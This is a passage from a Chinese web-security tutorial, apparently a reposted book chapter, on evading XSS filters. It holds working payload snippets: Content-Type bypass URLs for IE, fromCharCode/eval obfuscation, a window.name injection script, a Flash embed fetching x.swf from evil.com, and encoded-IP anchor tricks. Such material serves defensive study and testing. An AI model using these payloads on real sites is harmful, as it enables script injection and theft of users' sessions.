方式二主要利用IE浏览器确定文件类型时不完全依赖Content-Type的特性,有时,如果我们直接增加一个URL参数为a.html,IE会认为这是一个HTML文件而忽略Content-Type,使用HTML来解析文件。这通常由JSON提供商所使用的服务器、编程语言,以及使用语言的方式而定,如果将a.html放到如下位置,就有可能绕过Content-Type:

foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123 (apache服务器会忽略掉/a.html去请求foo.php)

2. JavaScript中的代码混淆

有时虽然可以插入一个alert(1)这样的代码,但是想插入更多时,发现代码被做了HTMLEncode过滤,这时我们可以采用之前提到的方法,进行进制转换后使用eval来执行:

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));

如果对输入的内容有字数限制,我们甚至可以输入eval(name)来做执行入口,然后在另一个可控制的页面(如攻击者的网站)放置如下一段代码:

<script>
window.name = "alert('xss')";
locaton.href = "http://www.target.com/xss.php";
</script>

这里利用了window.name可以跨域传递的特性,这种方法由luoluo最先在Ph4nt0m Webzine0x03上提到。

另一种过滤器情况可能与之相反,没有限制字数,却过滤了大部分函数,如eval、alert、http链接之类,那么我们都可以采取一些手段来绕过过滤器,如用(0)['constructor'] ['constructor']来代替eval,用"h"+"t"+"t"+"p"来绕过简单的链接过滤等,手段是多种多样的,这里就不一一介绍了。下面来看一个用6个字符进行JavaScript代码编码的例子,如图6-12所示,或许大家会有所启发:

http://utf-8.jp/public/jsfuck.html

图6-12 JSF*ck demo

除此之外,我们也可以使用Flash来绕过过滤器和隐藏我们的脚本内容:

<embed allowscriptaccess="always" 
src="http://www.evil.com/x.swf" />

6.7.6 突破URL过滤

有的时候,我们注入URL时,可以参考如下一些技巧来绕过过滤:

正常:<A HREF="http://66.102.7.147/">XSS</A>
URL编码: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
十进制:<A HREF="http://1113982867/">XSS</A>
十六进制:<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制:<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码:<A HREF="http://6	6.000146.0x7.147/">XSS</A>
不带http:协议:<A HREF="//www.google.com/">XSS</A>
最后加个点:<A HREF="http://www.google.com./">XSS</A>

6.7.7 更多经典的混淆CheckList

我们只能说通过大量的模糊测试可以发现很多奇怪的XSS利用点,浏览器之间存在大量细微的差异,很难总结出完美的规律。下面的CheckList来自sogl的汇总,有些虽然已经无效,但却很有参考意义,我们做了简短的描述,如表6-4所示。

表6-4 经典的混淆XSS利用点

除了这些,大家可以参考html5sec.org网站上整理的CheckList,还有一个由Gareth Heyes主导构建起来的在线fuzzing平台(shazzer.co.uk),非常不错。我们可以加入这个平台,构建自己的fuzzing规则,利用自己的各种浏览器进行模糊测试,从shazzer中能发现大量的XSS利用点。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文